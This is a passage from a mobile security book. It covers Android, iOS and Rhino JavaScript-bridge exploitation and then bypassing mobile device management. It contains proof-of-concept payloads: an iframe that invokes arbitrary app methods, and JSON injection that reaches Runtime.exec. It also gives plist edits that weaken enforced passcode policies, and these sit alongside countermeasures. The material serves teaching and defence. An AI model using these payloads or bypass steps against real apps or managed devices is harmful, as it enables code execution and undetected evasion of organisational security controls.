a=touch%20%2fmnt%2fsdcard%2fhello54" width="1" height="1"></iframe>
      </body>
</html>
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Android WebView Bridge Exploitation Countermeasures
An application that checks the newly loaded URL for a custom URI scheme and responds 
accordingly should be careful about what functionality is exposed via this custom URI 
scheme, and use input validation and output encoding to prevent common injection 
attacks. Exposing the ability to use reflection to untrusted content is exceedingly 
dangerous without performing strict input validation to restrict which classes can be 
instantiated and which functions can be invoked.

iOS UIWebView JavaScript Bridge Exploitation
iOS also supports the ability to embed web content within an application via the 
UIWebView class, but it does not support an explicit JavaScript bridge such as Android’s 
addJavascriptInterface. However, like an Android application, an iOS application 
can intercept URL requests by defining a shouldStartLoadWithRequest delegate 
method as part of a UIWebViewDelegate implementation, as demonstrated by the 
following Objective-C code. Just like the previous Android example, the application 
checks the URI scheme used and if it matches someapp, then the application uses 
reflection to acquire an instance of a class and invokes a function based on a JSON 
payload within the query string of the URL.

- (void)viewDidLoad
{
    [super viewDidLoad];

    UIWebView *webView = [[UIWebView alloc] initWithFrame:self.view.bounds];
    webView.delegate = self;
    [webView loadRequest:[NSURLRequest requestWithURL:
    [NSURL URLWithString:@"http://192.168.1.108/iOS/webView.html?1588484"]]];
    [self.view addSubview:webView];
}

- (BOOL)webView:(UIWebView *)webView
shouldStartLoadWithRequest:(NSURLRequest *)request
navigationType:(UIWebViewNavigationType)navigationType
{
    if([request.URL.scheme isEqualToString:@"someapp"]) {
        NSString *query = [request.URL.query
stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
        NSError *jsonError;
        NSDictionary *invokeDict =
            [NSJSONSerialization JSONObjectWithData:
            [query dataUsingEncoding:NSUTF8StringEncoding]
            options:kNilOptions error:&jsonError];

        NSString *className = [invokeDict objectForKey:@"cn"];
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        NSString *methodName = [invokeDict objectForKey:@"mn"];
        NSArray *argsArray = [invokeDict objectForKey:@"args"];

        if(className != nil && methodName != nil && argsArray != nil) {
            Class clazz = NSClassFromString (className);
            id obj = [[clazz alloc] init];
            SEL selector = NSSelectorFromString(methodName);

            NSMethodSignature *signature =
[obj methodSignatureForSelector:selector];
            NSInvocation *invocation =
[NSInvocation invocationWithMethodSignature:signature];
            [invocation setTarget:obj];
            [invocation setSelector:selector];

            for(int i=0; i<[argsArray count]; i++)
            {
                id arg = [argsArray objectAtIndex:i];
                [invocation setArgument:&arg atIndex:i+2];
            }
            [invocation invoke];
        }
        return NO;
    }
    return YES;
}

Again, exploiting this vulnerability is similar to how global URI schemes are exploited. 
If the following HTML and JavaScript code is loaded into the WebView, then the attacker 
forces the iOS application to instantiate an object of the cigDbAccess class, which we 
are assuming is defined elsewhere in the application, and invokes the executeQuery to 
execute a SQL query against a SQLite database. In this example, the attacker is abusing 
functionality existing within the application’s codebase, but the attacker could also abuse 
standard iOS API functions to access other native mobile functionality.

<html>
      <body>
            <iframe src='someapp://junk/junk?{"cn":"cigDbAccess","mn":"executeQuery:",
"args":["INSERT INTO someTable(col1,col2) VALUES(\"Wee an insert\",667);"]}' />
      </body>
</html>

iOS UIWebView JavaScript Bridge Exploitation Countermeasures
The same countermeasures for Android apply for iOS, such as strict input validation and 
output encoding of user input, while developing a custom URI scheme defined for a 
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local WebView component using a UIWebViewDelegate. Again, be wary of code that 
performs reflection using tainted input.

Mozilla Rhino JavaScript Bridges
Some developers may want to write a large portion of their mobile applications in 
JavaScript and expose native mobile functionality to the JavaScript via well-defined 
interfaces. This allows developers to create a hybrid application of native code and 
platform agnostic JavaScript code so at least part of the codebase remains common across 
Android, iOS, and BlackBerry devices. Additionally, developers may not want to rely on 
executing JavaScript within a WebView component because they may not need the other 
features and overhead provided by a browser component, such as a complex user 
interface. The WebView components on Android use the V8 JavaScript engine, which 
was developed by Google and converts JavaScript to native ARM code before executing, 
but developers are unable to access this JavaScript directly. An alternative solution 
involves using the Mozilla Rhino JavaScript engine, which can operate in either an 
interpretive mode or a compilation mode by compiling JavaScript into Java byte code.

Mozilla originally developed Rhino because it needed to create a JavaScript engine in 
Java in order to create the “Javagator” browser, which never saw the light of day, but Sun 
later licensed the technology, so development of this JavaScript engine continued. One of 
the interesting features of this engine is called LiveConnect, which allows JavaScript 
code to interact with Java objects without any additional bridging code. Although 
certainly convenient, LiveConnect is insecure by default and cannot be disabled, so 
developers need to take additional steps to limit the damage from JavaScript injection 
attacks in their applications so exploitation does not result in full compromise of the host 
application.

Consider the following example, which uses the Mozilla Rhino engine to interpret 
some JavaScript code. We first associate the current thread with a Context object, and 
then we create a top-level scope with all the standard objects by calling the 
initStandardObjects function. We also add the na property, which is an instance of 
the NetworkAccess class to the scope. In this example, the NetworkAccess class is 
designed to be called from JavaScript to make a JSON web service request to a web 
server and acquire the JSON payload. The evaluated JavaScript acquires the JSON 
payload and uses the eval function to parse it. While convenient and powerful, direct 
execution of a JSON payload that contains user-controlled data poses a significant 
security risk. The risk is exacerbated by the ability of the JavaScript to interact with 
arbitrary Java classes via LiveConnect.

        public void evaluate(final String source, final Scriptable scope) {
        ContextFactory.getGlobal().call(new ContextAction() {
            public Object run(org.mozilla.javascript.Context cx) {
                cx.setOptimizationLevel(-1);
                cx.getWrapFactory().setJavaPrimitiveWrap(false);
                Object o =  cx.evaluateString(scope, source,
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                "someScript", 1, null);
                return o;
            }
        });
    }
      public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Context cx = Context.enter();
        Scriptable scope = cx.initStandardObjects();
        try {
            ScriptableObject.putProperty(scope, "na",
Context.javaToJS(new NetworkAccess(), scope));
            evaluate("na.makeHttpRequest(); var jsonPayload =
na.getJsonPayload(); var jO = eval('('+jsonPayload+')');", scope);
        }
        catch(Exception e) {
            Log.e("Rhino Error", e.toString());
        }
        finally {
            Context.exit();
        }
    }
...
public class NetworkAccess {
      public void makeHttpRequest() {
            // Retreive JSON payload from HTTP server.
      }
      public String getJsonPayload() {
            // Return the JSON payload as a String.
      }
      public void doSomethingBad(String value) {
            // Perform some sensitive operation.
      }
}

The application developer is expecting a harmless JSON payload from the web 
service that will look like the following. This JSON payload is clearly harmless.

{"data1":"value1","data2":"value2"}

But consider the following JSON payload, which when evaluated invokes the 
doSomethingBad function associated with the NetworkAccess class. The developer 
may expect that JavaScript code will only invoke certain “safe” functions associated with 
the NetworkAccess class and not any functions that could do damage. The client 
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application may be dealing with a hostile, or compromised, JSON web service, or the 
web service may be vulnerable to JSON injection attacks, thus allowing the attacker to 
alter the structure of the JSON payloads in the HTTP responses.

{"data1":"value1","data2":"value2"+na.doSomethingBad('blah');}

And finally, consider the following JSON payload, which when evaluated uses 
reflection to acquire a reference to the Runtime object and then invokes the exec 
function to execute a Unix command. Like the exploit code from the previous section, we 
are assuming that the host application has permission to write to the SD card; otherwise, 
creating the file on the SD card would fail. Again, the developer is not expecting the 
JavaScript code to invoke the getClass function, which is available in all Java objects.

{"data1":"value1","data2":"value2"+
na.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null)
.invoke(null,null).exec('touch /sdcard/secret667')}

Mozilla Rhino JavaScript Bridges Countermeasures
Because Java objects can be accessed via LiveConnect, developers need to go out of their 
way to sandbox JavaScript code executed by the Mozilla Rhino JavaScript engine. 
Thankfully, Rhino does support sandboxing based on full class names, although these 
steps are not well documented in the official documentation. For example, we can define 
the following class that implements Mozilla’s ClassShutter interface. This class is 
required to implement one function named visibleToScripts, which should return 
true if the provided full class name should be exposed to the JavaScript code. So we can 
implement a simple class name whitelist to prevent access to arbitrary Java classes. After 
instantiating a ClassShutter object, we need to provide this object to the current 
context via the setClassShutter function.

      public class ClassWhiteList implements ClassShutter {
            public boolean visibleToScripts(String className) {
                  if(className.equals("com.example.rhinotest.NetworkAccess")) {
                  // Add other 'safe' classes here.
                        return true;
                  }
                  return false;
            }
      }

      ...

      Context cx = Context.enter();
        cx.setClassShutter(new ClassWhiteList());
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Restricting which classes can be accessed via JavaScript is a good start, but in 
some applications, you need to be able to restrict which fields are accessible as well. 
In our vulnerable code example, we would not want JavaScript code to be able to 
access the doSomethingBad function. In addition to the ClassShutter, we could 
extend the NativeJavaObject to override the get function to define a field level 
whitelist, as demonstrated in the following Java code. After defining our customized 
NativeJavaObject, we also have to define a custom WrapFactory and 
ContextFactory to make sure our customized class is used to restrict access to 
only a specific set of fields, such as the makeHttpRequest function and the 
getJsonPayload function.

      public static class WhiteListNativeJavaObject extends NativeJavaObject {
            public WhiteListNativeJavaObject(Scriptable scope,
            Object javaObject, Class staticType) {
                  super(scope, javaObject, staticType);
            }

            public Object get(String name, Scriptable start) {
                  if (name.equals("makeHttpRequest") ||
                        name.equals("getJsonPayload")) {
                        return super.get(name, start);
                  }
                  return NOT_FOUND;
            }
      }

      public static class WhiteListWrapFactory extends WrapFactory {
            public Scriptable wrapAsJavaObject(Context cx,
            Scriptable scope, Object javaObject, Class staticType) {
                  return new WhiteListNativeJavaObject(scope,
                  javaObject, staticType);
            }
      }

      public class WhiteListContextFactory extends ContextFactory {
            protected Context makeContext() {
                  Context cx = super.makeContext();
                  cx.setWrapFactory(new WhiteListWrapFactory());
                  return cx;
            }
      }

      ...

      ContextFactory.initGlobal(new WhiteListContextFactory());
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SUMMARY
As you have seen, developing secure web services and web applications remains crucial 
when developing secure mobile applications because these two activities are deeply 
intertwined. Classical web application and web service vulnerabilities are not going 
away any time soon. You should also not lose sight as to how the mobile web browser, or 
WebView component, is handling interactions with web applications and what native 
mobile functionality is exposed to these web applications as developers may gravitate to 
using techniques that allow for the development of more platform-agnostic code.

06-ch06.indd   188 6/19/2013   1:04:24 AM



189

7

Mobile Device 

Management

07-ch07.indd   189 6/19/2013   1:09:09 AM



190 Hacking Exposed: Mobile Security Secrets & Solutions 

Mobile device management, or MDM, refers to frameworks or solutions that 
control, monitor, and manage mobile devices deployed across enterprises or 
service providers. MDM frameworks often provide the provisioning entity 

with the ability to remotely (over-the-air) monitor, control, and manage mobile devices 
enrolled with the managing entity’s service.

Although the primary function of an MDM framework is to ensure device management 
and provisioning features, these frameworks are being increasingly used to ensure and 
monitor the security posture of mobile devices. Unlike desktop/laptop computing 
environments, the new smartphone ecosystem is more consumer centric, providing 
enterprise administrators with limited features. Remote administrators and enterprise 
administrators can no longer mandate or force system upgrades or force the installation 
or uninstallation of applications on mobile devices with the same level of control as they 
have in a desktop environment. Hence, MDM’s play a crucial role in enforcing 
administrative policies and providing periodic status checks on devices to ensure 
compliance to policies that are deemed necessary by administrators.

MDM FRAMEWORKS
Most mobile platforms provide their own set of policies and features that mobile device 
administrators can control and enforce. These policies and features, which facilitate 
mobile device management, jointly form a framework called the MDM framework. iOS, 
Android, and BlackBerry devices provide their own MDM frameworks that allow device 
administrators and MDM vendors to create solutions that facilitate mobile device 
management. MobileIron, AirWatch, and BlackBerry Enterprise are three examples of 
MDM solutions that leverage platform-specific MDM frameworks to provide device 
management capabilities. In some cases, however, MDM vendors develop proprietary 
solutions that do not depend directly on the mobile platform, but still ensure policy 
enforcement and security posture–check capabilities on mobile devices. Although these 
solutions do not leverage platform-supported frameworks and features, they are still 
considered MDM solutions for the purpose of this chapter. GOOD for Enterprise is an 
example of an alternate MDM solution that provides MDM capabilities without 
leveraging platform framework and support.

All MDM frameworks provide the same set of core functionalities and features 
supported by the mobile platform. These features are further augmented by additional 
vendor-specific functionalities and capabilities. However, the effectiveness of these 
MDM solutions depends on their ability to integrate into device functionalities while 
enforcing device management capabilities.

Based on device management objectives, MDM frameworks can be broadly classified 
into three categories:

• Device-centric model The device-centric MDM model relies on leveraging 
platform capabilities and feature sets provided by the mobile platform to 
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confi gure, secure, and harden the mobile device. The basic assumption behind 
the device-centric MDM model is that the underlying framework can detect 
changes to a device’s security and confi guration posture. MobileIron, AirWatch, 
and Tangoe are examples of device-centric MDM solutions that take advantage 
of MDM frameworks provided by the platform.

• Data-centric model The data-centric MDM model focuses on securing data/
content of interest, without focusing on controlling or securing the whole 
device. The basic assumption behind this model is that the solution can ensure 
the security and integrity of data and provide access control capabilities 
without relying on platform capabilities. Data-centric MDM solutions often 
rely on custom mobile apps to enforce access control, ensure the integrity and 
security of sensitive data, and facilitate access to critical infrastructure. GOOD 
for Enterprise is an example of a data-centric MDM solution.

• Hybrid model This model combines a platform MDM framework along 
with solution-specifi c features to provide device management capabilities. An 
ideal hybrid solution provides data protection as well as device management 
capabilities to ensure the security and integrity of the device and data at rest.

Although each of these models exhibit unique functionalities, they share many common 
features that form the basic tenets of mobile device management. In the following section, 
we explore and analyze how devices are provisioned using the above-mentioned 
frameworks.

PUSH notification
services

HTTP/S HTTP/S

MDM app

File system

MDM 
server

Authentication
(LDAP/AD)

Provisioning
profiles

System files

Enterprise infrastructure

Figure 7-1 Device provisioning
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DEVICE PROVISIONING
Device provisioning (Figure 7-1) is the process by which MDM solutions deploy and 
enforce policies and restrictions on mobile devices and provide access to resources 
controlled by the MDM server.

MDM frameworks often use MDM client apps for managing and enforcing policies 
on mobile devices. As shown in Figure 7-1, the end-user uses the MDM app to enroll 
mobile devices with the MDM server. After successful authentication, the MDM server 
remotely enforces policies and controls on the device.

Policy enforcement on mobile devices is performed by means of provisioning profiles, 
which are installed on the device by the MDM client. Provisioning profiles are often XML- 
or text-based files that specify configuration and provisioning information for the mobile 
device. Depending on the mobile platform and MDM solution, these provisioning 
profiles may be plain-text, signed, encrypted, or signed and encrypted to ensure the 
security and integrity of the profile delivered to the device.

Policy enforcement can be viewed as a three-step process that enrolls the device in 
the MDM service. These steps can be broadly described as follows:

 1. When the device receives a provisioning profi le, the profi le is verifi ed (its 
signature is checked) and decrypted before parsing the confi guration and 
enforcement information.

 2. After parsing the provisioning profi le, mobile platforms populate the system 
fi les stored on the device fi le system with the confi guration information 
required to enforce these policies.

 3. System fi les are subsequently parsed by system services to enforce and 
implement the confi guration settings.

For example, on iOS devices, the MDM server generates the provisioning profiles 
and sends it to the mobile device through Apple’s Mail client (ActiveSync) or the MDM 
app installed on the device. The mobile device stores these provisioning profiles at the 
following location on the device file system (location as observed on iOS versions 4.x to 
iOS 6.x):

/private/var/mobile/Library/ConfigurationProfiles

Provisioning profiles are stored on the file system as XML files (plists) with .stub file 
extensions:

iPhone:/private/var/mobile/Library/ConfigurationProfiles root# ls -l *.stub
-rw-r--r-- 1 mobile mobile  2516 Apr 17  2012
4598b7ba178f96bae7864be9b88a1545bc3296eaa+800194199.stub
-rw-r--r-- 1 mobile mobile  7533 Oct 17  2011 com_apple_attwifi+3369864630.stub
-rw-r--r-- 1 mobile mobile 35057 Jan  6 10:36
com_good_iphone_policy+1281327003.stub
-rw-r--r-- 1 mobile mobile  2962 Dec  8  2011
f9ba36a2a2360ede0d588fe242bfdbc7cd12c169a+28338739.stub
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Here is a sample snippet from the iOS provisioning profile:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       .
       .
       <dict>
              <key>MCProfileIsRemovalStub</key>
              <true/>
              <key>PayloadContent</key>
              <dict>
                     <key>ConfirmInstallation</key>
                     <false/>
                     <key>DeviceAttributes</key>
                     <array>
                            <string>UDID</string>
                            <string>IMEI</string>
                            <string>ICCID</string>
                            <string>VERSION</string>
                            <string>PRODUCT</string>
                     </array>
                     <key>EnrollmentIdentityPersistentID</key>
                     <data>
                     aWRudXXXXXXXXXXXg
                     </data>
                     <key>URL</key>
                     <string>https://www.xyz.com/abc.do</string>
              </dict>
              <key>PayloadDescription</key>
              <string>Install to enroll to encrypted profile service.</string>
              <key>PayloadDisplayName</key>
              <string>iPhone - Security Profile</string>
              <key>PayloadType</key>
              <string>Profile Service</string>
              <key>PayloadUUID</key>
              <string>xxxxx-xxx-xxxx-xxxx-xxxxxxxx</string>
              <key>ProductVersion</key>
              <string>5.1.1</string>
              <key>ProfileData</key>
.
.
       key>ProfileTrustLevel</key>

07-ch07.indd   193 6/19/2013   1:09:10 AM



194 Hacking Exposed: Mobile Security Secrets & Solutions 

              <integer>2</integer>
              <key>ProfileWasEncrypted</key>
              <false/>
              <key>ProfileWasSigned</key>
              <true/>
              <key>ProfileWasTrusted</key>
              <true/>
              <key>SignerCerts</key>

(continues)

After verifying and storing the provisioning profile in the form of .stub files, the 
mobile platform installs these provisioning profiles. Profile installation typically refers to 
the process of parsing the profile and updating the appropriate system files to enforce 
the policies requested in the .stub file. On iOS devices, the provisioning profiles (.stub 
files) are parsed to populate the following system files:

iPhone:/private/var/mobile/Library/ConfigurationProfiles/PublicInfo root# ls -l
-rw-r--r-- 1 mobile mobile 5206 Jan  6 11:36 EffectiveUserSettings.plist
-rw-r--r-- 1 mobile mobile  243 Sep 12 16:04 MCMeta.plist
-rw-r--r-- 1 mobile mobile 5970 Jan  6 11:13 Truth.plist
SG:/private/var/mobile/Library/ConfigurationProfiles root# ls -l
-rw-r--r-- 1 mobile mobile  8032 Jan  6 14:43 ProfileTruth.plist

EffectiveUserSettings.plist and Truth.plist are the system files that determine an iOS 
device’s security posture. For example, Truth.plist specifies the configuration details 
such as PIN/passcode policies, device restrictions, device timeout, and so on. The 
following is a snippet from Truth.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>assignedObject</key>
        <dict/>
.
.
.
                <key>forcePIN</key>
                <dict>
                        <key>preference</key>
                        <true/>
                        <key>value</key>
                        <false/>
                </dict>
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                <key>requireAlphanumeric</key>
                <dict>
                        <key>preference</key>
                        <false/>
                </dict>
.
.
.
        <key>restrictedValue</key>
        <dict>
                <key>maxFailedAttempts</key>
                <dict>
                        <key>preferSmallerValues</key>
                        <true/>
                        <key>value</key>
                        <integer>11</integer>
                </dict>
                <key>maxGracePeriod</key>
                <dict>
                        <key>preferSmallerValues</key>
                        <true/>
                        <key>value</key>
                        <integer>3000</integer>
                </dict>
                <key>maxInactivity</key>
                <dict>
                        <key>preferSmallerValues</key>
                        <true/>
                        <key>value</key>
                        <integer>3000</integer>
                </dict>

Once these system files are populated, as per the requirements specified in the 
provisioning profile, the profile is considered installed and the appropriate status is 
updated to the MDM server. When the provisioning profile installation is completed 
successfully, the MDM server grants the device access to resources protected by the 
MDM solution.

Although this chapter focuses on iOS for descriptive examples, other platforms like Android behave in 
a similar manner: provisioning profiles are pushed or installed on devices using XML or similar file 
formats that are locally cached and parsed to enforce MDM policies.

Although device provisioning and policy enforcement look straightforward, this 
solution has multiple shortcomings, which are explained in the following sections of this 
chapter.
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BYPASSING MDM
As explained previously, MDM policies are enforced by populating the appropriate 
operating system–controlled files with the configuration requirements. Hence, the 
effectiveness of MDM controls and policy enforcement is directly proportional to the 
security and integrity of the operating system and the associated system files.

Modifying MDM Policy Files
On a jailbroken or rooted device, any user with sudo or root permission can modify these 
system files. For example, any malicious user can modify the Truth.plist file on iOS 
devices to relax the passcode requirement restrictions imposed by an MDM administrator. 
To mitigate this risk, MDM solutions implement proprietary versions of jailbreak 
detection capabilities that are used to detect signs of activities or features that could lead 
to MDM compromise. This section includes examples of MDM control bypass.

To enable a simple passcode and to disable the alphanumeric passcode on a 
device, set the value of allowSimple to true in Truth.plist and the value of 
requireAlphaNumeric to false:

        <key>allowSimple</key>
                <dict>
                        <key>preference</key>
                        <true/>
                </dict>

                <key>requireAlphanumeric</key>
                <dict>
                        <key>preference</key>
                        <false/>
                </dict>

To enable the capability to Turn Off PIN/Passcode, set forcePIN to false:

              <key>forcePIN</key>
                <dict>
                        <key>preference</key>
                        <true/>
                        <key>value</key>
                        <false/>
                </dict>

To increase the number of failed PIN attempts, set maxFailedAttempts to the 
desired value:

                <key>maxFailedAttempts</key>
                <dict>
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                        <key>preferSmallerValues</key>
                        <true/>
                        <key>value</key>
                        <integer>11</integer>
                </dict>

To set the inactivity and device lock grace period, set maxGracePeriod and 
maxInactivity to the desired values:

                <key>maxGracePeriod</key>
                <dict>
                        <key>preferSmallerValues</key>
                        <true/>
                        <key>value</key>
                        <integer>3000</integer>
                </dict>
                <key>maxInactivity</key>
                <dict>
                        <key>preferSmallerValues</key>
                        <true/>
                        <key>value</key>
                        <integer>3000</integer>
                </dict>

These examples cite some of the MDM controls that a malicious actor can bypass. 
There are many more controls and restrictions that can be bypassed by means of 
modifying the above-referenced files, including, but not limited to, password, email, 
SSL, and software restrictions. An exhaustive list of examples is beyond the scope of this 
chapter and is left to the interested reader for interpretation and testing.

Detecting MDM Bypass
MDMs enforce policies by means of provisioning profiles and system files that malicious 
actors can manipulate to bypass these controls. This limits the effectiveness of MDM 
solutions, giving rise to the need for a solution that can detect and factor changes to 
profiles and configurations. To facilitate this need, MDM vendors often use MDM client 
apps to routinely monitor and evaluate the mobile device’s security posture.

The MDM client apps, in conjunction with the MDM back-end servers, often poll 
mobile devices to monitor the security posture of enrolled devices. If any device is found 
to be in violation of MDM policies, the MDM server can invoke security capabilities such 
as remote wipe, remote lock, or remote locate to ensure the security of the end-user as 
well as sensitive information on the device. This ability to perform periodic device checks 
is termed check-in.

Check-in functionality provides MDM administrators with the ability to specify the 
duration and time for running periodic checks on the mobile device. During check-ins, 
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MDM client-side apps check for the provisioning profile installed on the mobile device. 
If the provisioning profile is not detected or found to be tampered with, the MDM server 
triggers responsive actions such as remote wipe or remote lock. This feature specifically 
addresses scenarios in which provisioning profiles have been deleted from the mobile 
device or the .stub files have been tampered with or modified. However, this does not 
address the scenario in which the provisioning profile remains unaltered, but the system 
file referred to in previous sections has been altered to subvert MDM controls.

Weak MDM Bypass Detection
In the recent past, some of the leading device-centric MDM solutions were found to be 
vulnerable to a control bypass attack as they failed to detect changes in system files and 
only monitored provisioning profiles. Although the iOS platform provides users with 
the capability to retrieve and monitor effective device settings, most leading MDM 
solutions were only monitoring the authenticity of the provisioning profile installed on 
the device.

The following packet snippet shows the check-in message sent by a device to the 
MDM server. The bold section shows that the device is noncompliant with the profile’s 
passcode requirements. The MDM, however, fails to detect this.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/
DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>CommandUUID</key>
       <string>xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</string>
       <key>SecurityInfo</key>
       <dict>
              <key>HardwareEncryptionCaps</key>
              <integer>3</integer>
              <key>PasscodeCompliant</key>
              <true/>
              <key>PasscodeCompliantWithProfiles</key>
              <false/>
              <key>PasscodePresent</key>
              <true/>
       </dict>
       <key>Status</key>
       <string>Acknowledged</string>
       <key>UDID</key>
       <string>223cd1d212131eb3dda306d00829dc20324790c3</string>
</dict>
</plist>
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An attacker can manually tamper with the profile configurations, without being 
detected by the MDM. This is a significant security threat to data, resources, and 
intellectual property as it allows an attacker to maintain control over the device by 
bypassing security requirements and, at the same time, avoid detection.

Although the mobile device sends detailed information regarding the policy violation, 
as shown here, the MDM server fails to validate the effective configuration applied on 
the device:

<dict>
       <key>CommandUUID</key>
       <string>6d09ea16-cbe1-44f2-9333-f326cdc34ea3</string>
       <key>GlobalRestrictions</key>
       <dict>
              <key>restrictedBool</key>
              <dict>
                     <key>allowExplicitContent</key>
                     <dict>
                            <key>value</key>
                            <false/>
                     </dict>
                     .
                     .
                     <key>allowSimple</key>
                     <dict>
                            <key>value</key>
                            <true/>
                     </dict>
                     .
                     .
                     <key>forceEncryptedBackup</key>
                     <dict>
                            <key>value</key>
                            <false/>
                     </dict>
                     <key>forcePIN</key>
                     <dict>
                            <key>value</key>
                            <false/>
                     </dict>
                     <key>requireAlphanumeric</key>
                     <dict>
                            <key>value</key>
                            <false/>
                     </dict>
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              </dict>
              <key>restrictedValue</key>
              <dict>
                     <key>maxFailedAttempts</key>
                     <dict>
                            <key>value</key>
                            <integer>100</integer>
                     </dict>
                     .
                     .
                     <key>minLength</key>
                     <dict>
                            <key>value</key>
                            <integer>4</integer>
                     </dict>
                     <key>pinHistory</key>
                     <dict>
                            <key>value</key>
                            <integer>0</integer>
                     </dict>
                     .
                     .
                     .
              </dict>
       </dict>
</plist>

This issue was subsequently fixed by MDM vendors in later releases, after ethical 
disclosure, by ensuring that the back-end server checks the effective settings on the 
device and not just the provisioning profile.

MDM apps and solutions are evolving to address these security shortcomings; 
however, there are even more advanced attacks against MDM solutions that attempt to 
circumvent the policy enforcement and check-in functionalities. Some of the more 
sophisticated attacks against MDM solutions involve application modification and app 
logic-bypass attacks that exploit the trust relation between the mobile client (app) and 
the MDM back-end server.

The sequence of steps in the client-server interaction between a mobile device and 
the MDM server is depicted in Figure 7-2. The check-in process is orchestrated by the 
MDM server. It polls the device periodically and provides the MDM client with specific 
instructions or commands to execute on the local device. These instructions are typically 
commands that retrieve the device configuration and security posture information that 
can then be reviewed by the back-end to ensure compliance. Hence, this interaction 
model assumes that the information sent across by the device to the server is accurate 
and cannot be tampered with. Any attacker with the ability to invalidate this assumption 
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will uncover security loopholes that can be used to bypass MDM controls. The more 
sophisticated attacks against MDM frameworks work by patching and circumventing 
application and device functionalities that poll or retrieve application configuration and 
security posture information. By patching these functions and processes, the attacker can 
control the result of commands executed on the mobile device. As the basic assumption 
behind MDM frameworks is the client-server trust relation, the ability of the attacker to 
manipulate the data sent to the server by the client allows the attacker to circumvent 
MDM policies without being detected by the back-end server. We’ll discuss some of 
these attack patterns in more detail next.

Application Patching and Modifi cation Attacks
Application patching and app logic-bypass attacks are platform specific in nature. For 
example, this type of attack can be performed by modifying the Java or Dalvik byte 
codes in an Android application. Figure 7-3 depicts the Dalvik byte codes from a 
disassembled Android application.

Because the Android platform supports application signing using self-signed 
certificates, an attacker can easily modify the binary of an Android application to 
patch existing functionalities or even inject new functionalities into the code. The 
mobile platform as well as the application back-end often cannot detect any 
modification or tampering at the client side. These kind of attacks can be performed 
on rooted Android devices without user knowledge and with user-interaction on a 
nonrooted device. An attacker can execute the Android PackageManager command 
on the device as the Linux user shell to install or uninstall Android application 

1) Server HELLO (via PUSH/C2DM)

MDM server

4) Execute
command

Optional: 
Corrective

action

MDM client/Mobile device

3) Server COMMAND (HTTP)

2) Client HELLO (HTTP)

5) Client response (Command result - HTTP)

6) Server OK/Correction command (HTTP)

7) Client OK/ACK (HTTP)

Figure 7-2 MDM client-server interaction model
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packages silently on an Android device. A PackageManager snippet from the 
Android platform is shown here:

   pm install [-l] [-r] [-t] [-i INSTALLER_PACKAGE_NAME] [-s] [-f]
              [--algo <algorithm name> --key <key-in-hex> --iv <IV-in-hex>] PATH
   pm uninstall [-k] PACKAGE

On iOS devices, these attacks can be performed more dynamically by injecting into 
running processes by means of MobileSubstrate. MobileSubstrate, one of the most 
popular frameworks, allows applications to perform runtime patching of system 
functions in iOS. Captain Hook and Logo are two widely used frameworks that can 
leverage MobileSubstrate for injecting into iOS applications.

These types of dynamic injection attacks on iOS can only be performed on a jailbroken device.

Mobile device hacking and MDM control-bypass attacks often rely on these 
frameworks to inject and suppress key functionality and capabilities of the MDM 
application as well as the solution as a whole. For example, XCon (theiphonewiki.com/
wiki/XCon) is an application that, when installed, leverages MobileSubstrate to patch 
jailbreak detection functionality present in an MDM app. The following snippet identifies 

Figure 7-3 Android Dalvik byte code
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the list of all functions that were patched by XCon in the pre-2.0 version of GOOD for 
Enterprise:

GmmDefaults: insecureUserDefaults
GmmDefaults: secureUserDefaults
GmmDefaults: ObjectForKey:OptionJailbreakEnhancementServices
GmmDefaults: objectForKey:OptionJailbreakEnhancementFork
GmmDefaults: objectForKey:OptionJailbreakEnhancementKernelState
GmmDefaults: objectForKey:OptionJailbreakEnhancementDevReadPermission
GmmDefaults: objectForKey:OptionJailbreakEnhancementURL
GmmDefaults: objectForKey:NocConnectivityPolicyEnable

By patching these functions in the GOOD app on iOS, XCon provides the user or attacker 
with the ability to bypass the device’s security controls without being detected by the 
back-end. Essentially, this allows the attacker to send bogus posture updates to the back-
end on behalf of the MDM app running on the device.

Information on MobileSubstrate, Logo, and XCon can be found at iphonedevwiki.net.

Code patching relies on decompiling and debugging apps, so we’ll shift in the next 
section to a discussion of how that works on Android and iOS platforms and the steps an 
application developer can take to protect against these attacks.

DECOMPILING AND DEBUGGING APPS
The ease of performing an application patching attack is determined by the underlying 
mobile application development platform itself. For example, Android applications are 
easy to reverse because they are usually developed in a decompilable high-level 
programming language such as Java.

Android Reverse Engineering
As you saw in Chapter 4, Android application binaries can be decompiled and debugged 
by looking at the Dalvik byte code representation of the application. Dalvik byte code is 
the representation of the application that is interpreted and executed by the Android 
system. The byte code is obtained by running the Java byte-code version of the application 
through the Smali assembler (see code.google.com/p/smali/).

Java and Dalvik byte code can be easily decompiled or disassembled. The decompiled 
or disassembled byte code is human readable and can easily be manipulated. Converting 
an Android application into Java code is quite trivial. An attacker can then obtain a 
high-quality version of the actual source code that was written by the application or 
solution developer. As you saw in Chapter 4, a combination of tools, such as apktool, 
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dex2jar, and JAD, can be used to reverse engineer an Android application and obtain 
the source code (for more info on these tools, see code.google.com/p/android-apktool/, 
code.google.com/p/dex2jar/, and varaneckas.com/jad/, respectively). The details of 
app decompilation are covered more fully in Chapter 4.

Android Code Obfuscation
To mitigate debugging attacks, Java-based Android applications can use code obfuscation 
to make reverse engineering harder for the attacker. ProGuard (proguard.sourceforge.
net/) is a popular and free code-obfuscation tool used to obfuscate Android and other 
Java/J2ME-based applications. Code obfuscation is not the same as anti-tampering: it 
does not protect the application and associated code from external attacks, but it does 
make it harder for an attacker to reverse engineer or debug an application, which provides 
some security value against unsophisticated attackers. Though code-obfuscation 
techniques make reverse engineering harder, these techniques are not foolproof and do 
not protect applications against sophisticated attacks by persistent attackers. Unlike the 
